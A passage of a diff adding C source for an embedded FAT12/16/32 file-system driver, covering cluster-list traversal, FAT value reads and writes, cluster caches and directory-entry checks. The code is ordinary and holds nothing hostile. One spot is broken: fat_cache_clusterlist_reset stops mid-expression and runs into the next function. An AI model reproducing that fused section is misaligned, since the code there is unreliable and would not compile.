fs_g_seg.u32_size_or_pos = u32_tmp; // Restore number of sector remaining + fs_g_status = FS_ERR_OUT_LIST; + return false; + } + // Good cluster then continue + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + if( fs_g_seg.u32_size_or_pos == 0) + { + // At cluster position, set the flag end of cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // Save the next cluster + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; + if( !fat_cluster_val( FS_CLUST_VAL_WRITE )) + return false; + fs_g_cluster.u32_val = fs_g_seg.u32_addr; // Resotre the next cluster + // !!!! It isn't necessary to reinit MSB0( fs_g_seg.u32_addr ) to 0xFF, + // !!!! fs_g_seg.u32_addr will be modified at the beginning of main loop + } + } +#endif // FS_LEVEL_FEATURES + } + else + { + // The beginning of segment is found + if (FS_CLUST_ACT_SEG == opt_action) + { + if ( (fs_g_cluster.u32_pos+1) != fs_g_cluster.u32_val ) + { + // The cluster is not a continue cluster or a invalid cluster + fat_cache_clusterlist_update_finish(); + return true; // End of segment + } + } +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + //** Clear cluster position + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // Save the next cluster + fs_g_cluster.u32_val = 0; // by default free cluster + // If it is the first cluster (fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus) + // and doesn't start at the beginning of cluster (fs_g_seg.u32_size_or_pos != fs_g_nav.u8_BPB_SecPerClus) + if (fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus) + { + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // End of cluster list allocated + } + if( !fat_cluster_val( FS_CLUST_VAL_WRITE )) + return false; + fs_g_cluster.u32_val = fs_g_seg.u32_addr; // Resotre the next cluster + // !!!! It isn't necessary to reinit MSB0( fs_g_seg.u32_addr ) at 0xFF, + // !!!! because it isn't possible that MSB0( fs_g_cluster.val ) = 0xFF. + } +#endif // FS_LEVEL_FEATURES + + // Check the end of cluster list + if (FS_CLUS_END == u8_cluster_status) + { +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + return fat_update_fat2(); + } +#endif // FS_LEVEL_FEATURES + fat_cache_clusterlist_update_finish(); + return true; // End of segment + } + + // Update the segment size + fs_g_seg.u32_size_or_pos += fs_g_nav.u8_BPB_SecPerClus; + } + // HERE, Continue to read the cluster list + // The next cluster is the value of previous cluster + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; + } // End of main loop +} + + +//! \name Position of the current cluster in the FAT
+//! Global variable used to take time with routines fat_cluster_readnext() and fat_cluster_val() +_MEM_TYPE_FAST_ uint16_t fs_g_u16_pos_fat; + + +//! This function returns or modifys a cluster value in FAT +//! +//! @param b_mode false, to read a cluster value
+//! true, to write a cluster value +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_cluster.u32_pos cluster number to read or write +//! fs_g_cluster.u32_val value to write +//! OUT: +//! fs_g_cluster.u32_val value readed +//! fs_g_u16_pos_fat position in FAT of the cluster to read or write +//! value init in case of the fat_cluster_readnext() routine is used after +//! @endverbatim +//! +Bool fat_cluster_val( Bool b_mode ) +{ + _MEM_TYPE_FAST_ uint32_t u32_offset_fat =0; + _MEM_TYPE_FAST_ uint8_t u8_data1, u8_data2,u8_data3,u8_data4; + _MEM_TYPE_FAST_ PTR_CACHE u8_ptr_cluster; + + //**** Compute the cluster position in FAT (sector address & position in sector) + if ( Is_fat32 ) + { + // FAT 32 + // Optimization of -> u32_offset_fat = fs_g_cluster.pos * 4 / FS_CACHE_SIZE; + // Optimization of -> u32_offset_fat = fs_g_cluster.pos / 128 + u32_offset_fat = fs_g_cluster.u32_pos >> (8-1); + + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos * 4) % FS_CACHE_SIZE; + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos % 128) * 4 + fs_g_u16_pos_fat = ((uint16_t)(LSB0(fs_g_cluster.u32_pos) & 0x7F))<< 2; + } + else if ( Is_fat16 ) + { + // FAT 16 + // Optimization of -> u32_offset_fat = fs_g_cluster.u32_pos * 2 / FS_CACHE_SIZE = fs_g_cluster.u32_pos / 256; + u32_offset_fat = LSB1(fs_g_cluster.u32_pos); + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos * 2) % FS_CACHE_SIZE; + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos % 256) * 2 + fs_g_u16_pos_fat = ((uint16_t)LSB0(fs_g_cluster.u32_pos)) <<1; + } + else if ( Is_fat12 ) + { + // FAT 12 + // Optimization of -> fs_g_u16_pos_fat = fs_g_cluster.u32_pos + (fs_g_cluster.u32_pos/ 2) + fs_g_u16_pos_fat = (uint16_t)fs_g_cluster.u32_pos + ((uint16_t)fs_g_cluster.u32_pos >>1); + // Optimization of -> u32_offset_fat = fs_g_cluster.u32_pos / FS_CACHE_SIZE + u32_offset_fat = MSB(fs_g_u16_pos_fat) >> 1; + // Optimization of -> fs_g_u16_pos_fat = fs_g_u16_pos_fat % FS_CACHE_SIZE + MSB( fs_g_u16_pos_fat ) &= 0x01; + } + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (b_mode) + { + // Update information about FAT modification + if( fs_g_u32_first_mod_fat > u32_offset_fat ) + { + fs_g_u32_first_mod_fat = u32_offset_fat; + } + if( fs_g_u32_last_mod_fat < u32_offset_fat ) + { + fs_g_u32_last_mod_fat = u32_offset_fat; + } + if ( Is_fat12 ) + { // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { // Count the next FAT sector + if( fs_g_u32_last_mod_fat < (u32_offset_fat+1) ) + { + fs_g_u32_last_mod_fat = (u32_offset_fat+1); + } + } + } + } +#endif // FS_LEVEL_FEATURES + + //**** Read cluster sector in FAT + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + u32_offset_fat; // Computed logical sector address + if( !fat_cache_read_sector( true )) + return false; + + // Read cluster information + u8_ptr_cluster = &fs_g_sector[fs_g_u16_pos_fat]; + u8_data1 = u8_ptr_cluster[0]; + // Remark: if (fs_g_u16_pos_fat+1)=512 then it isn't a mistake, because this value will be erase in next lines + u8_data2 = u8_ptr_cluster[1]; + u8_data3 = u8_ptr_cluster[2]; + u8_data4 = u8_ptr_cluster[3]; + + if ( Is_fat12 ) + { // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { // Go to next sector + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return false; + u8_data2 = fs_g_sector[0]; + } + } + + if (false == b_mode) + { + //**** Read the cluster value + LSB0( fs_g_cluster.u32_val ) = u8_data1; // FAT 12,16,32 + LSB1( fs_g_cluster.u32_val ) = u8_data2; // FAT 12,16,32 + + if ( Is_fat32 ) + { // FAT 32 + LSB2( fs_g_cluster.u32_val ) = u8_data3; + LSB3( fs_g_cluster.u32_val ) = u8_data4 & 0x0F; // The high 4 bits are reserved + } + else + { // FAT 12 & 16 don't use the high bytes + LSB2( fs_g_cluster.u32_val ) = 0; + LSB3( fs_g_cluster.u32_val ) = 0; + + // FAT 12 translate 16bits value to 12bits + if ( Is_fat12 ) + { + if ( 0x01 & LSB0(fs_g_cluster.u32_pos) ) + { // Readed cluster is ODD + LSB0( fs_g_cluster.u32_val ) = (LSB1( fs_g_cluster.u32_val ) <<4 ) + (LSB0( fs_g_cluster.u32_val ) >>4 ); + LSB1( fs_g_cluster.u32_val ) = LSB1( fs_g_cluster.u32_val ) >>4 ; + } + else + { // Readed cluster is EVEN + LSB1( fs_g_cluster.u32_val ) &= 0x0F; + } + } + } + } else { +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + //**** Write the cluster value + if ( Is_fat12 ) + { + // FAT 12, translate cluster value + if ( 0x01 & LSB0(fs_g_cluster.u32_pos) ) + { // Cluster writing is ODD + u8_data1 = (u8_data1 & 0x0F) + (LSB0( fs_g_cluster.u32_val )<<4); + u8_data2 = (LSB1( fs_g_cluster.u32_val )<<4) + (LSB0( fs_g_cluster.u32_val )>>4) ; + } else { + // Cluster writing is EVEN + u8_data1 = LSB0( fs_g_cluster.u32_val ); + u8_data2 = (u8_data2 & 0xF0) + (LSB1( fs_g_cluster.u32_val ) & 0x0F) ; + } + + // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { + fs_g_sector[0] = u8_data2; + fat_cache_mark_sector_as_dirty(); + // Go to previous sector + fs_gu32_addrsector--; + if( !fat_cache_read_sector( true )) + return false; + // Modify the previous sector + fs_g_sector[ FS_CACHE_SIZE-1 ] = u8_data1; + fat_cache_mark_sector_as_dirty(); + return true; + } + } + else + { + // FAT 16 & 32 + u8_data1 = LSB0( fs_g_cluster.u32_val ); + u8_data2 = LSB1( fs_g_cluster.u32_val ); + if ( Is_fat32 ) + { // FAT 32 + u8_ptr_cluster[2] = LSB2( fs_g_cluster.u32_val ); + u8_ptr_cluster[3] = LSB3( fs_g_cluster.u32_val ) + (u8_data4 & 0xF0); // The high 4 bits are reserved + } + } + // Here for FAT 32, 16 & 12 (only if the cluster values are in the same sector) + u8_ptr_cluster[0] = u8_data1; + u8_ptr_cluster[1] = u8_data2; + fat_cache_mark_sector_as_dirty(); +#else + fs_g_status = FS_ERR_COMMAND; + return false; +#endif // FS_LEVEL_FEATURES + } + + return true; +} + + +//! This function is optimized to read a continue cluster list on FAT16 and FAT32 +//! +//! Read global value "fs_g_status" in case of error : +//! FS_ERR_HW Hardware driver error +//! FS_LUN_WP Drive is read only +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_u16_pos_fat previous cluster position in FAT +//! OUT: +//! fs_g_u16_pos_fat readed cluster position in FAT +//! fs_g_cluster.u32_val value of cluster readed +//! @endverbatim +//! +Bool fat_cluster_readnext( void ) +{ + // Compute the next cluster position in FAT + if ( Is_fat32 ) + { + fs_g_u16_pos_fat += 4; + }else{ + // Is_fat16 + fs_g_u16_pos_fat += 2; + } + + // Check if next cluster is in internal cache + if( FS_CACHE_SIZE == fs_g_u16_pos_fat ) + { + // Update cache + fs_g_u16_pos_fat = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return false; + } + + //**** Read the cluster value + LSB0( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+0]; // FAT 16,32 + LSB1( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+1]; // FAT 16,32 + + if ( Is_fat32 ) + { // FAT 32 + LSB2( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+2]; + LSB3( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+3]; + } + return true; +} + + +//! This function checks the cluster value +//! +//! @return value status
+//! FS_CLUS_OK Value correct
+//! FS_CLUS_BAD Value bad
+//! FS_CLUS_END It is a end of list
+//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_cluster.u32_val value to check +//! @endverbatim +//! +uint8_t fat_checkcluster( void ) +{ + if ( !fs_g_cluster.u32_val ) + return FS_CLUS_BAD; + + // Cluster bad if (FAT12 == 0x0FF7) (FAT16 == 0xFFF7) (FAT32 == 0x0FFFFFF7) + // Last cluster if (FAT12 > 0x0FF7) (FAT16 > 0xFFF7) (FAT32 > 0x0FFFFFF7) + if ( Is_fat32 ) + { + if (fs_g_cluster.u32_val >= 0x0FFFFFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0x0FFFFFF7) + return FS_CLUS_BAD; + } + else if ( Is_fat16 ) + { + if (fs_g_cluster.u32_val >= 0xFFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0xFFF7) + return FS_CLUS_BAD; + } + else if ( Is_fat12 ) + { + if (fs_g_cluster.u32_val >= 0xFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0xFF7) + return FS_CLUS_BAD; + } + + return FS_CLUS_OK; +} + +//! \name Internal functions to manage cluster list caches +//! @{ + +//! This function resets the cluster list caches +//! +void fat_cache_clusterlist_reset( void ) +{ + uint8_t u8_i; + fs_g_u8_current_cache=0; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + // The cache list is splited in two cache (file cluster list and directory cluster list) + fs_g_cache_clusterlist[u8_i].b_cache_file = (u8_i+//! +void fat_cache_clusterlist_update_start( Bool b_for_file ) +{ + // Get the OLD cache (=max level used) + uint8_t u8_i; + for( u8_i=0; u8_i<((FS_NB_CACHE_CLUSLIST*2)-1); u8_i++ ) // (FS_NB_CACHE_CLUSLIST*2)-1, in case of error + { + if( fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file ) + { +#if (FS_NB_CACHE_CLUSLIST>1) + if( (FS_NB_CACHE_CLUSLIST-2) < fs_g_cache_clusterlist[u8_i].u8_level_use ) +#endif + break; + } + } + fs_g_u8_current_cache = u8_i; + fs_g_cache_clusterlist[fs_g_u8_current_cache].b_cache_file = b_for_file; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start = fs_g_seg.u32_size_or_pos; +} + + +//! This function updates a cache of cluster list caches +//! +void fat_cache_clusterlist_update_finish( void ) +{ + uint8_t u8_cluster_offset = fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start % fs_g_nav.u8_BPB_SecPerClus; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = fs_g_nav.u8_lun; // valid cache + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start -= u8_cluster_offset; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_addr = fs_g_seg.u32_addr - u8_cluster_offset; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_size = fs_g_seg.u32_size_or_pos + u8_cluster_offset; + + // Update the "level used" of cache + fat_cache_clusterlist_update_select(); +} + + +//! This function signals that a cache is used +//! +void fat_cache_clusterlist_update_select( void ) +{ + uint8_t u8_i; + uint8_t u8_level_to_update; + Bool b_file_cache; + + b_file_cache = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].b_cache_file; + u8_level_to_update = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( fs_g_cache_clusterlist[u8_i].b_cache_file == b_file_cache ) + if( u8_level_to_update > fs_g_cache_clusterlist[u8_i].u8_level_use ) + fs_g_cache_clusterlist[u8_i].u8_level_use++; + } + fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use = 0; +} + + +//! This function searchs a cluster list in cluster list caches +//! +//! @param b_for_file If true then it is a file cluster list else a directory cluster list
+//! +//! @return true cluster list found and global variable fs_g_seg updated +//! @return false no found in cluster list caches +//! +Bool fat_cache_clusterlist_update_read( Bool b_for_file ) +{ + uint32_t u32_tmp; + uint8_t u8_i; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( (fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file) + && (fs_g_cache_clusterlist[u8_i].u8_lun == fs_g_nav.u8_lun ) ) + { + if( fs_g_cache_clusterlist[u8_i].u32_cluster == fs_g_cluster.u32_pos ) + { + if( fs_g_cache_clusterlist[u8_i].u32_start <= fs_g_seg.u32_size_or_pos ) + { + // The segment research is in or after the cache + if( fs_g_cache_clusterlist[u8_i].u32_size > (fs_g_seg.u32_size_or_pos-fs_g_cache_clusterlist[u8_i].u32_start) ) + { + //** The segment research is in cache, then compute the segment infos + fs_g_seg.u32_size_or_pos -= fs_g_cache_clusterlist[u8_i].u32_start; + fs_g_seg.u32_addr = fs_g_cache_clusterlist[u8_i].u32_addr + fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_size_or_pos = fs_g_cache_clusterlist[u8_i].u32_size - fs_g_seg.u32_size_or_pos; + fs_g_u8_current_cache = u8_i; + fat_cache_clusterlist_update_select(); + return true; // the segment is in cluster list cache + }else{ + //** It is after the cache then get cache information and continue to read the cluster list in FAT + // Store the resultat in this cache + fs_g_u8_current_cache = u8_i; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + // fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; // It is the same cluster start + + // Get cache information to take time during the next FAT access + // Compute the cluster number corresponding at the last cluster of the cluster list cache + fs_g_cluster.u32_pos = ((fs_g_cache_clusterlist[u8_i].u32_addr -fs_g_nav.u32_ptr_fat - fs_g_nav.u32_offset_data + fs_g_cache_clusterlist[u8_i].u32_size -1) + / fs_g_nav.u8_BPB_SecPerClus) +2; + u32_tmp = fs_g_seg.u32_size_or_pos; // save position ask + // Compute the position of the end of cluster list cache, and decrement the position asked + fs_g_seg.u32_size_or_pos-= ((fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start + fs_g_cache_clusterlist[u8_i].u32_size -1) + / fs_g_nav.u8_BPB_SecPerClus) + * fs_g_nav.u8_BPB_SecPerClus; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start = u32_tmp; // Update cache with the position asked + return false; // The segment isn't in cluster list cache + } + } + } + } + } + // No found in cache then read FAT and store the resultat in cache + fat_cache_clusterlist_update_start(b_for_file); + return false; +} + +//! @} + + +//! This function gets or clears a cluster list at the current position in the selected file +//! +//! @param mode Choose action
+//! FS_CLUST_ACT_SEG Get memory segment corresponding at the position in selected file
+//! FS_CLUST_ACT_ONE Store in internal cache the sector corresponding at the position in selected file
+//! FS_CLUST_ACT_CLR Clear the cluster list corresponding at the position in selected file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav_entry.u32_cluster First cluster of selected file +//! fs_g_nav_entry.u32_pos_in_file Position in file (unit byte) +//! @endverbatim +//! +Bool fat_read_file( uint8_t mode ) +{ + uint32_t u32_sector_pos; + + // Compute sector position + u32_sector_pos = fs_g_nav_entry.u32_pos_in_file >> FS_512B_SHIFT_BIT; + + if(FS_CLUST_ACT_ONE == mode) + { + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_clusterlist_start == fs_g_nav_entry.u32_cluster ) + && (fs_g_sectorcache.u32_clusterlist_pos == u32_sector_pos ) ) + { + return true; // The internal cache contains the sector ascked + } + } + else + { + if( FS_CLUST_ACT_CLR == mode ) + { + // Clear cluster list + if( 0 == fs_g_nav_entry.u32_cluster ) + return true; // No cluster list is linked with the file, then no clear is necessary + + if(0 != (fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK) ) + { + // The actual sector is used, then start clear on the next sector + u32_sector_pos++; + } + } + } + + // Get the segment which start at the current position + fs_g_seg.u32_addr = fs_g_nav_entry.u32_cluster; + fs_g_seg.u32_size_or_pos = u32_sector_pos; + if( FS_CLUST_ACT_ONE != mode ) + { + if( fat_cluster_list( mode, true ) ) + return true; // Get or clear segment OK + } + else + { + if( fat_cluster_list( FS_CLUST_ACT_SEG, true ) ) // Read all segment + { + // Read the sector corresponding at the position file (= first sector of segment) + fs_gu32_addrsector = fs_g_seg.u32_addr ; + if( fat_cache_read_sector( true ) ) + { + fs_g_sectorcache.u32_clusterlist_start = fs_g_nav_entry.u32_cluster; + fs_g_sectorcache.u32_clusterlist_pos = u32_sector_pos; + return true; + } + } + } + if( (FS_CLUST_ACT_CLR == mode ) + && (FS_ERR_OUT_LIST == fs_g_status) ) + { + // It is possible to clear nothing + return true; + } + return false; +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function gets and eventually allocs a cluster list at the current position in the selected file +//! +//! @param mode Choose action
+//! FS_CLUST_ACT_SEG Get and eventuelly alloc a cluster list
+//! FS_CLUST_ACT_ONE Get and eventually alloc a cluster list for one sector, and load this sector in internal cache
+//! @param u32_nb_sector_write maximum number of sector to get and eventually to alloc for the selected file (ignored if mode = FS_CLUST_ACT_ONE) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav_entry.u32_cluster First cluster of selected file +//! fs_g_nav_entry.u32_pos_in_file Position in the file (unit byte) +//! @endverbatim +//! +Bool fat_write_file( uint8_t mode , uint32_t u32_nb_sector_write ) +{ + if( 0 == fs_g_nav_entry.u32_cluster ) + { + // File don't have a cluster list, then alloc the first cluster list of the file + MSB0(fs_g_seg.u32_addr) = 0xFF; // It is a new cluster list + // Update cluster list caches + // fs_g_cluster.u32_pos = ? // To fill after alloc + fs_g_seg.u32_size_or_pos = 0; + fat_cache_clusterlist_update_start(true); + } + else + { + if( fat_read_file( mode ) ) + return true; // A segment is availabled (no alloc necessary) + + if( FS_ERR_OUT_LIST != fs_g_status ) + { + return false; // Error system + } + // fat_read_file is outsize the list then the current cluster list cache contains the last cluster + + // Initialize cluster list caches before alloc routine + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + // fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; // it is the same + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start += fs_g_nav.u8_BPB_SecPerClus; // Position of next cluster (the first new) + } + + // Alloc a cluster list + if( FS_CLUST_ACT_SEG == mode ) + { + fs_g_seg.u32_size_or_pos = u32_nb_sector_write; + }else{ + fs_g_seg.u32_size_or_pos = 1; // only one sector + } + + //note: fs_g_seg.u32_addr is already initialized with the last cluster value (see fat_cluster_list()) + if( !fat_allocfreespace()) + return false; + //note: fs_g_seg.u32_addr is the first cluster of the cluster list allocated by alloc_free_space() + //note: fs_g_seg.u32_size_or_pos = number of sectors remaining + + if( 0 == fs_g_nav_entry.u32_cluster ) + { + // It is the first cluster list of file, then update following values in cluster list cache + // fs_g_seg.u32_addr = already contzins the first cluster of the file (see alloc_free_space()) + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_seg.u32_addr; + // Update file entry + fs_g_nav_entry.u32_cluster = fs_g_seg.u32_addr; + } + + // Update cluster list cache + if( FS_CLUST_ACT_SEG == mode ) + { + fs_g_seg.u32_size_or_pos = u32_nb_sector_write - fs_g_seg.u32_size_or_pos; + }else{ + fs_g_seg.u32_size_or_pos = 1 - fs_g_seg.u32_size_or_pos; + } + fs_g_seg.u32_addr = ((fs_g_seg.u32_addr - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data; + fat_cache_clusterlist_update_finish(); + + return fat_read_file( mode ); // load the new cluster list +} +#endif // FS_LEVEL_FEATURES + +//! This function fill the internal cache with a sector from current directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav.u32_cluster_sel_dir First cluster of current directory +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory (unit entry) +//! @endverbatim +//! +Bool fat_read_dir( void ) +{ + uint32_t u32_cluster_pos; + + // Compute the cluster list position corresponding of the current entry + u32_cluster_pos = fs_g_nav_fast.u16_entry_pos_sel_file >> (FS_512B_SHIFT_BIT - FS_SHIFT_B_TO_FILE_ENTRY); + + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_clusterlist_start == fs_g_nav.u32_cluster_sel_dir ) + && (fs_g_sectorcache.u32_clusterlist_pos == u32_cluster_pos ) ) + { + return true; // The internal cache contains the sector ascked + } + + // Get sector address corresponding at cluster list position + fs_g_seg.u32_addr = fs_g_nav.u32_cluster_sel_dir; + fs_g_seg.u32_size_or_pos = u32_cluster_pos; + if( fat_cluster_list( FS_CLUST_ACT_ONE, false ) ) + { + // Read the sector + fs_gu32_addrsector = fs_g_seg.u32_addr; + if( fat_cache_read_sector( true ) ) + { + // Update information about internal sector cache + fs_g_sectorcache.u32_clusterlist_start = fs_g_nav.u32_cluster_sel_dir; + fs_g_sectorcache.u32_clusterlist_pos = u32_cluster_pos; + return true; + } + } + return false; +} + + + +//! This function checks the entry +//! +//! @param b_type entry type to compare (FS_FILE or FS_DIR) +//! +//! @return true, the entry is a short entry and correspond to b_type +//! @return false, otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_check( Bool b_type ) +{ + PTR_CACHE u8_ptr_entry; + uint8_t u8_first_byte, u8_seconde_byte; + uint8_t u8_attribut; + + u8_ptr_entry = fat_get_ptr_entry(); + + u8_first_byte = u8_ptr_entry[0]; + if ( FS_ENTRY_END == u8_first_byte ) + { + fs_g_status = FS_ERR_ENTRY_EMPTY; // end of directory + return false; + } + fs_g_status = FS_ERR_ENTRY_BAD; // by default BAD ENTRY + if ( FS_ENTRY_DEL == u8_first_byte ) { return false; } // entry deleted + if ( '.' == u8_first_byte ) { return false; } // current dir "." + u8_seconde_byte = u8_ptr_entry[1]; + if ( ('.' == u8_first_byte) + && ('.' == u8_seconde_byte) ) { return false; } // current dir ".." + + // Check attribut + u8_attribut = u8_ptr_entry[11]; + if ( FS_ATTR_VOLUME_ID & u8_attribut ) { return false; } // volume id + // Optimization, this line isn't necessary because the next test control this case + // if ( FS_ATTR_LFN_ENTRY == *u8_ptr_entry) { return false; } // long file name + + // Check entry type + if( FS_ATTR_DIRECTORY & u8_attribut ) + { + return (FS_DIR == b_type); + }else{ + return (FS_FILE == b_type); + } +} + + +//! This function checks the file extension +//! +//! @param sz_filter extension filter is a ASCII string (ex: "mp3,w*" ) +//! +//! @return true, the file name have a good extension +//! @return false, otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_checkext( FS_STRING sz_filter ) +{ + PTR_CACHE u8_ptr_entry; + uint8_t u8_i, u8_filter_char, u8_entry_char; + + u8_ptr_entry = fat_get_ptr_entry(); + + // Compare the extension with filter + for( u8_i=0 ; u8_i<3 ; u8_i++) + { + u8_filter_char = *sz_filter; + if ('*' == u8_filter_char) + break; // All extension is good + + u8_entry_char = u8_ptr_entry[8+u8_i]; + + // Compare the extension filter to extension file (this one ignore the case) + if( (u8_filter_char!= u8_entry_char ) + && (u8_filter_char!= (u8_entry_char+('a'-'A'))) ) + { + if ( (',' == u8_filter_char) + || ( 0 == u8_filter_char) ) + { + // It is the end of filter + if (' ' == u8_entry_char) + break; // it is the end of extension file -> extension good + } + // here, bad extension + + // Search the next filter + while( ',' != u8_filter_char ) + { + if (0 == u8_filter_char) + { + return false; // it is the last filter + } + sz_filter++; + u8_filter_char = *sz_filter; + } + u8_i = 0xFF; // restart loop compare + } + sz_filter++; // go to next char of filter + } + + return true; // It is a good extension +} + + +//! This function reads information about selected file +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! OUT: +//! fs_g_nav_entry. u32_cluster, u8_attr, u32_size +//! @endverbatim +//! +void fat_get_entry_info( void ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + + // Get attribut + ptr_entry+= 11; + fs_g_nav_entry.u8_attr = ptr_entry[0]; + + // Get the first cluster of the file cluster list + ptr_entry += (20-11); + LSB2(fs_g_nav_entry.u32_cluster) = ptr_entry[0]; + LSB3(fs_g_nav_entry.u32_cluster) = ptr_entry[1]; + ptr_entry += (26-20); + LSB0(fs_g_nav_entry.u32_cluster) = ptr_entry[0]; + LSB1(fs_g_nav_entry.u32_cluster) = ptr_entry[1]; + + // Get the size of file + ptr_entry += (28-26); + LSB0(fs_g_nav_entry.u32_size) = ptr_entry[0]; + LSB1(fs_g_nav_entry.u32_size) = ptr_entry[1]; + LSB2(fs_g_nav_entry.u32_size) = ptr_entry[2]; + LSB3(fs_g_nav_entry.u32_size) = ptr_entry[3]; +} + + +//! This function checks if the entry file is a directory +//! +//! @return true, this entry is a directory +//! @return false, otherwise +//! +Bool fat_entry_is_dir(void) +{ + fs_g_status = FS_ERR_NO_DIR; + return (FS_ATTR_DIRECTORY & fs_g_nav_entry.u8_attr); +} + + +//! This function resets the selection pointers +//! +void fat_clear_entry_info_and_ptr( void ) +{ + fs_g_nav_fast.u16_entry_pos_sel_file= FS_NO_SEL; + fs_g_nav.u16_pos_sel_file = FS_NO_SEL; + if( !fs_g_nav.b_mode_nav_single ) + { + fs_g_nav.b_mode_nav = FS_DIR; + } + fs_g_nav_entry.u8_attr = 0; + fs_g_nav_entry.u32_cluster = 0; + fs_g_nav_entry.u32_size = 0; + Fat_file_close(); +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function writes the information about selected file +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! 